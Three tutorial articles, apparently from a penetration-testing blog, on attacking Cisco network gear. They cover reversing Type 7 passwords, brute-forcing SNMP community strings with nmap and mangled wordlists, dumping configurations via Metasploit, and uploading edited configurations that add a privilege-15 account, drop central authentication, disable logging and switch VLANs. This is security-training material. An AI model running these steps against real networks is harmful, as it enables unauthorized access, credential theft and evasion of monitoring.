Ever Crack a Password using a Cisco Device?*

[Editor’s Note: Here’s a short but sweet article by Tim Medin on using Cisco IOS’s own capabilities for decoding Type 7 passwords.  Now, you might think — “Why don’t I just use one of the conversion websites on the Internet for decoding that?”  Or, “I know a free  downloadable hacker tool that does just that.”  But, in some environments, taking sensitive passwords from devices and pasting them into free web-based tools or even downloaded computer attack tools is a BIG HUGE no-no, as you may be leaking some sensitive info to places you shouldn’t be.  Tim’s technique lets you use the router itself to decode the password.  Simple, fun, and effective.  Thanks, Tim!  –Ed.]

If you’ve done penetation testing for a while, you probably already know that the Cisco Type 7 password is easily reversible. The password is encrypted (not hashed) using the Vigenère cipher, which dates to 16th century. Moreover, the static key is known to the world (it’s dsfd;kfoA,.iyewrkldJKDHSUBsgvca69834ncxv9873254k;fg87, if you are wondering.  You can memorize that if you want and impress your friends at the next Hacker Jeopardy event you attend).

There are plenty of tools to reverse this password, but who needs them when you have a Cisco device handy. Yes, you can reverse the password right on the Cisco device!  Lemme show you how.

If we have the encrypted value of 0539030E2D405725490B10220A1F173D24362C72 here are the commands to decrypt the password on your Cisco device:

cisco# conf t
cisco(config)# key chain thisisatest
cisco(config-keychain)# key 1
cisco(config-keychain)# key-string 7 0539030E2D405725490B10220A1F173D24362C72
cisco(config-keychain)# ctrl+z
cisco# show key chain
Key-chain thisisatest:
    key 1 -- text "ReallyL0ngPassword!"

We start by entering configuration mode via “conf t” (short for configure terminal). We then create a new key chain named “thisistest” (the name doesn’t matter). We then tell the device that we are providing a key-string and that it is a type 7 password. Finally, exit configuration mode with ctrl+z and display the key chain. Boom, the password is ReallyL0ngPassword!.

Since you were likely not born in a barn, and your mom doesn’t work here, you should clean up after yourself. To do this simply enter back into configuration mode and remove the keychain with the “no” prefix to the command.

cisco# conf t
cisco(config)# no key chain thisisatest
cisco(config-keychain)# ctrl+z

Super easy, and you don’t have to download a tool or expose the password to some random site on the internet.

*For pedantic people: No, it isn’t technically cracking, but the title of “Have you ever decrypted terrible, 1500s era enciphered passwords on a Cisco Systems, Inc.** network device?” would have been terrible.

** Cisco® and Cisco Systems, Inc® are registrered trademarks registered trademarks in the United States and certain other countries.***

*** Yes, Canada is another country. I learned that when I went through Canadian customs.****

**** Never tell a customs agent, “You take this whole other country thing very seriously, huh?”

Join me for SEC560: Network Penetration Testing and Ethical Hacking at
SANS Boston 2013!  Boston, MA on Monday, Aug 5 – Saturday, Aug 10, 2013 or
SANS Golden Gate 2013  San Francisco, CA on Dec 16, 2013 – Dec 21, 2013.

–Tim Medin
Counter Hack

Invasion of the Network Snatchers: Part 2

[Editor’s Note: In this follow-up article, Tim Medin continues the discussion of pen testing network devices via the Simple Network Management Protocol (SNMP).  He provides really helpful hints and tidbits throughout! Please check it out.  –Ed.]

By Tim Medin

In our last episode,   we attacked network gear via SNMP.  We scanned for SNMP-accessible devices.  Then, we developed a good, fine-tuned word-list dictionary and used it to guess a valid read-write community string (the “password” that allows access via SNMP). With this community string, we were able to retrieve the configuration from a Cisco device. We have a running configuration… now what? First: PASSWORDS!

With cipher-text password representations in the configuration file, the obvious approach is to crack them to determine the clear-text passwords. But how does Cisco store passwords?

Cisco stores passwords in four ways:

Type 0: This is an unencrypted password, there is no need to crack it.

Type 7: This password is stored with reversible encryption using the Vigenere cipher and the key dsfd;kfoA,.iyewrkldJKDHSUBsgvca69834ncxv9873254k;fg87. There are many online tools to reverse this password, or you can use a local cracker such as     ciscocrack by THC. All of these tools will quickly give you the cleartext password by simply reversing the cipher operation.

Type 5: This is a properly hashed and salted MD5 hash and is currently the most secure storage mechanism on Cisco devices. This password type can be attacked with John the Ripper using the raw-md5 format.

Type 4: This is a SHA256 hash, but it is not salted and it only uses one iteration (check out this  advisory  for details).  Sadly, this format is the reason that Type 5 has been deprecated. Newer versions will support Type 4 but not Type 5, thus eliminating salts and making for a less secure approach.  This password type is not currently crackable by the stable versions of John the Ripper, but the bleeding-jumbo does support the format.

To extract passwords from the config file we can use grep, like this:

$ grep ‘secret\|password\|line\|login\|encryption’ 10.0.0.55.txt

service password-encryption
enable secret 5 $1$X6A6$YyErWuzmkKA9jMm7jURrp2
enable password 7 03275A053F00347E4B081D311F1B18
username billybob password 7 13080E020A1F17
username sallysue secret 5 $1$K9rk$XtLt7Paa9qdW.wJuQB0kR/
line con 0
  password 7 0110090A48040A0A314D5D1A0E0A0516
  login
line vty 0 4
  login local

You’ll notice the configuration above contains “secret” and “password” lines. The “secret” items are stored in a one-way hash format, while the “password” items are stored in a reversible (Type 7) format. “Passwords” are stored this way so they can be used with protocols that require the original password, such as CHAP and ARAP.  If both the enable secret and the enable password have been set, the enable secret takes precedence and the enable password will be ignored.

The configuration can also contain local users (see the username lines).  If the “line” is setup to use “login local”, then the device will require a valid username/password combination for authentication.  If the “line” is configured with “login”, then it will use the associated line password.

In the example above, the console port (con 0) would require the password “consolepassword” and a Telnet, SSH, or HTTP(S) connection would require authentication via billybob or sallysue and the associated password.  But what if the device used TACACS or Radius and we didn’t have admin credentials, or what if the device was setup properly with this configuration?

username toughtommy secret 5 $1$7aYI$Lt3sh3UJM20CGfuhnHuXd0
line vty 0 4
login local

This will require that we use Tommy’s username and password, but he used a really good password. His password isn’t going to crack in our lifetimes. We need another way.

In the last episode, we used SNMP to tell the device to send its configuration to us. We can do something similar to upload a new configuration.  The extremely flexible Cain tool on Windows allows us to upload (or download) the configuration from Cisco devices.  To invoke this Cain functionality, first click the CCDU (Cisco Config Downloader/Uploader) button on the row of tabs.  Then click the + button and enter the target IP address of thee router or other SNMP-managed device and community string.  Finally, click OK to download the file.  At this point, you have the file and you can view it or edit it for re-upload.  It really is that straight-forward with Cain.

To open the file from Cain in a text editor, right click on the file in the center Cain panel and click View. This will open the file in your preferred editor. You can then edit the file to create new configurations to create users, change ACLs, enable services, setup a VPN, or whatever you want, but BE CAREFUL!  While you are editing the config file locally, you will later upload this to the router, and will apply the new configuration.  If you mess this up, you could take down the network.  If the device is using TACACS or Radius, you will see “login authentication somename” so you will need to remove that item to login locally. My edits usually include something like this:

line vty 0 4
  no login authentication someword
  login local
username tinytim privilege 15 secret MyReallyGreatPassword

This configuration will remove the external authentication and create my account that will drop me straight to the enable (privileged) prompt.  Note, this is a secret so it will be hashed once the device receives it, but it will travel to the device in the unencrypted form across TFTP.  After uploading and applying this config, we can login to the device, preferably via SSH (or… shudder… telnet if we have to).  I’ll usually disable logging, if it is allowed by the rules of engagement, by prefixing each of the log related commands with “no” to remove them.

With privilege 15, we will be dropped into the higher privileged Enable Mode prompt immediately upon login.  This allows us to make any changes we want. Depending on the device and its location, I like to do one of two things: setup a VPN connection or modify the VLANs to put myself on another network.

At this point, I highly suggest that you get some experience with Cisco devices or find a partner who has that experience.  You can do some really cool stuff with the network, but you can also do some really bad stuff.  I suggest setting up a lab with come Cisco devices you’ve purchased from Ebay or virtual devices using the dynagen/dynamips virtual network device environment.  Some attacks at this stage take a long description to safely identify and setup.  However, changing your VLAN is pretty simple and is less likely to cause damage, so let’s delve into that.

First, look closely at the configuration for VLANs with descriptions, VLANs with IP address, interfaces with interesting descriptions and the associated VLAN, and the first and last ports (admins usually keep those for special functions). In our case, let’s say we find the following interesting information:

interface vlan 4094
 ip address 10.1.1.2 255.255.255.0

This is a VLAN on our device with an IP address.  It is likely a network management subnet that is completely unmonitored and unfiltered.  We can see the devices that are on the same network by pinging the devices on the 10.1.1.0/24 network.  In our case ping reveals something on 10.1.1.1 (likely the upstream router) and nothing at 10.1.1.3-254.  We can use one of those IP addresses for our attacking system when we switch networks. To switch networks we need to find our network port and then move it to the new VLAN.

switch1# show mac address-table | i 00:11:22:33:44:55  # i is short for include, similiar to grep
  Vlan        Mac Address         Port       Type
-------- --------------------- ---------- ----------
  284      00:11:22:33:44:55      gi8      dynamic
switch1# conf t                                 # enter configuration mode
switch1(config)# int gi8                        # configure the port we are connected to
switch1(config-if)# switchport access vlan 4094 # switch my vlan

At this point, we are on the same segment as the switch itself.  This will likely allow us access portions of the network that we were unable to access as a normal user with a normal system. We can then change our IP address to 10.1.1.3 and start poking the network. Most of the defenses are protecting traffic into the network management network, not out of it.  Have fun!

–Tim Medin
Counter Hack

P.S. If you’d like to learn more about penetration testing in-depth, you can join me as I teach the  SANS SEC560: Network Penetration Testing and Ethical Hacking at SANS Boston 2013 | Boston, MA | Mon Aug 5 – Sat Aug 10, 2013.  It’s going to be a rocking good time, and I’d be happy to see you there!

Invasion of the Network Snatchers: Part I

[Editor’s Note: In this article, Tim Medin discusses methods for penetration testing network infrastructure components, specifically through the Simple Network Management Protocol (SNMP).  Tim’s tips below include a nice overview of SNMP, techniques for formulating highly useful lists of potential authentication credentials for SNMP, a description of how to use an Nmap NSE script for password-guessing SNMP, ideas for using snmpwalk to extract config info, and a description of a Metasploit module for harvesting SNMP info from a bunch of devices.  He’s got some great command-line kung fu throughout as well.  It’s a cornucopia of useful ideas.  These techniques can be really helpful in showing security risks in a target organization’s network infrastructure.  Thanks, Tim! –Ed.]

By Tim Medin

Part of one of Sun Tzu’s (overly used) quotes is, “Water shapes its course according to the nature of the ground over which it flows…”.  I often hear people say, “blah blah blah be like the water”.  Being flexible like water is great (although it’s kinda wishy washy and you’d be all wet).  But, wouldn’t it be better if we could become the ground and control all of the water and where it goes? That is what I like to do on penetration tests by targeting the network equipment.

Often times, the network topology and traffic flow is seen as an unmovable riverbed. It doesn’t really change and takes some sort of special unspoken power to change. Traffic goes from A through B to get to C where it goes through a firewall and an IPS. How much more fun would it be to skip the lines and jump right on the network next to your target, bypassing all of the security controls?

To do this, we first need access to the networking gear. In larger organizations, authentication to the network devices is often controlled by TACACS or Radius, which are used to centrally manage and log authentication. This approach allows network admins to login to their gear using a domain account (often the same domain account they use to check their email, but I digress). There are plenty of ways pen testers can attack these accounts, so we’ll move on to another vector, attacking the Simple Network Management Protocol (SNMP).

Pretty much all networking gear can be managed and monitored via SNMP. Fortunately for us, this service is often not as thoroughly hardened as the normal TCP services (SSH, HTTP(S), and Telnet). It usually isn’t logged and doesn’t offer any sort of lockout mechanism. It also has some glaring security shortcomings. All things that are good for penetration testers.

SNMP comes in 3 versions: 1, 2c, and 3. Version 1 and 2c are identical from a security point of view. They only validate authenticate via a community string (think password without a username) and they don’t offer encryption or message integrity. Version 3 fixes these problems and implements mechanisms to protect the confidentiality and integrity of the transmission.

It is going to be much easier to guess the credentials of services using v1 and v2c, since v3 requires a username and a community string and v1/2c does not. Let’s get ready to brute force password guess our buddies SNMP v1 and v2c!

Before we can brute, we first need a good list of targets that speak SNMP.  Our handy-dandy friend, Nmap, can take care of finding those as follows:

$ sudo nmap -PN -sU -p 161 -iL targets.txt -oA output

This nmap command will probe a list of targets (-iL) from the file targets.txt using UDP (-sU) port 161, the SNMP port, and save the output in all three nmap formats (-oA) into files with a basename of output, including output.nmap, output.gnmap, and output.xml. For speed and efficiency, the host discovery checks (-PN) are disabled as we only want to send a single packet on port 161. One important thing to note: this scan takes advantage of the differences in SNMPv3 to get a response (without authentication) and it will miss devices that only speak v2c or v1. Technically, we end up with a list of devices that speak SNMPv3, but often devices running SNMPv3 also support v2c (and even v1).  So, in many organizations, this list of SNMPv3 systems will be useful for v2c and v1 community string brute force guessing.

Now let’s get a list of devices that are running SNMP by grep’ing through nmap’s grepable output.

$ grep '161/open/' output.gnmap | cut -d' ' -f 2 > snmpdevices.txt

Here, we are looking for the string indicating that port 161 is open from our output.gnmap file.  We’re piping that through the cut command to look through our space-delimited output (-d’ ‘), extracting the second field (-f 2), which will hold the IP addresses of our potential targets.  We store our results in a file very cleverly named snmpdevices.txt.

Next, we need to try to guess the v1/v2c community strings used to authenticate to these devices. There are usually two types of community strings: read-write and read-only. Admins will often differentiate the community type string by appending the access level to it (e.g., sometext-read/sometext-write, sometext-public/sometext-private). Let’s create a list of basewords and suffixes and then combine them.

$ cat << EOF > basewords.txt
companyname
CompanyName
company
Company
productname
ProductName
Admin
admin
Secret
secret
EOF

$ cat << EOF > suffixes.txt
read
Read
write
Write
readonly
ReadOnly
public
Public
private
Private
rw
RW
ro
RO
EOF

Now that we have the basewords and suffixes we can combine them to create a mashup wordlist.
$ for GUESS in `cat basewords.txt`; do for SUFFIX in `cat suffixes.txt`; do echo $GUESS$SUFFIX; echo $GUESS-$SUFFIX; done; done > combo-clean.txt

$ head -n 5 combo-clean.txt
companynameread
companyname-read
companynameRead
companyname-Read
companynamewrite

Admins often use l337sp34k to make the strings harder to guess. So let’s l33tify the guesses. John the Ripper has some nice mangling features, so let’s take advantage of them.

The people over at KoreLogic have developed some fantastic mangling rules for John the Ripper. Using the rules is quite simple.  Just download the rules and then append them to your john.conf (instructions are included on their site). Once the rules are installed, we can use them to mangle our existing guessing with l33t combinations.

$ john –wordlist:combo-clean.txt –rules:KoreLogicRulesL33t –stdout > combo-l33t.txt

We should also download a list of default community strings. Just because admins are leet, doesn’t mean they don’t miss things. Default passwords and community strings are tremendously useful. We’ll take the list of the combinations, l33t combinations, and the default strings to make a bigger dictionary. We’ll then remove any duplicates and anything longer than 20 characters.

$ cat wordlist-common-snmp-community-strings.txt combo-clean.txt combo-l33t.txt | sort -u | grep -vE ‘.{21,}’ > completeguesses.txt

Ok, so we’ve got a good list. Now we need to use it — Nmap to the rescue (again)! The snmp-brute NSE script is great for guessing community strings. There are other tools that do it, but I greatly prefer nmap.

$ nmap -sU 1.2.3.4 –script snmp-brute –script-args snmp-brute.communitiesdb=completeguesses.txt
Nmap scan report for 1.2.3.4
PORT STATE SERVICE
161/udp open snmp
| snmp-brute:
|_ C0mpanyNam3-RW – Valid credentials

Winner! Winner! Chicken Dinner!

We have a target and a working community string. It is highly likely that this is a read-write string based on its name (C0mpanyNam3-RW). Now, we need to extract some useful data from the device.

For those of you unfamiliar with SNMP, all the data and configuration settings in a device are located in a hierarchal tree. Each location on that tree is identified by an OID (Object Identifier). You can do a little searching and find names that are associated with each node [e.g. Iso(1).org(3).dod(6).internet(1)… ], but I don’t use it enough to really care. All I really need is the root location of 1.3.6.1. When I need something else, I google for it or grep through the results of a full dump. A full dump can be extracted using the snmpwalk tool (BTW, this technique is VERY useful against printers for extracting usernames, computer names, and document names).

$ snmpwalk -c C0mpanyNam3-RW -v 2c 1.2.3.4 1.3.6.1 > ciscosnmpdump.txt

Before we dig too much into this file, let’s figure out what this device is. We’ll use SNMP to query the SysDescr (OID 1.3.6.1.2.1.1.1) and get some details on the device.

$ snmpget -c C0mpanyNam3-RW -v 2c 1.2.3.4 1.3.6.1.2.1.1.1
Cisco Internetwork Operating System Software IOS ™ 2500…

Oh, this is even better. We can dump the configuration file from a Cisco device using SNMP and a TFTP server. It’s even easier since Metasploit has a module to do this!

Admins commonly use the same community string across all network devices. So once we get a community string that works on one device, we can likely use it against all the networking devices. The RHOSTS option (notice it is plural) accepts multiple targets. It will even accept a file.

msf> auxiliary/scanner/snmp/cisco_config_tftp
msf auxiliary(cisco_config_tftp)> set LHOST 1.1.1.1
msf auxiliary(cisco_config_tftp)> set OUTPUTDIR /tmp/
msf auxiliary(cisco_config_tftp)> set RHOSTS file:/tmp/snmpdevices.txt
msf auxiliary(cisco_config_tftp)> set COMMUNITY C0mpanyNam3-RW
msf auxiliary(cisco_config_tftp)> run

After this runs, we’ll have a bunch of configurations files saved in our /tmp directory.

What can we do once we have a pile of Cisco configuration files? You’ll have to check back for the next installment because this is where things get really crazy!

–Tim Medin
Counter Hack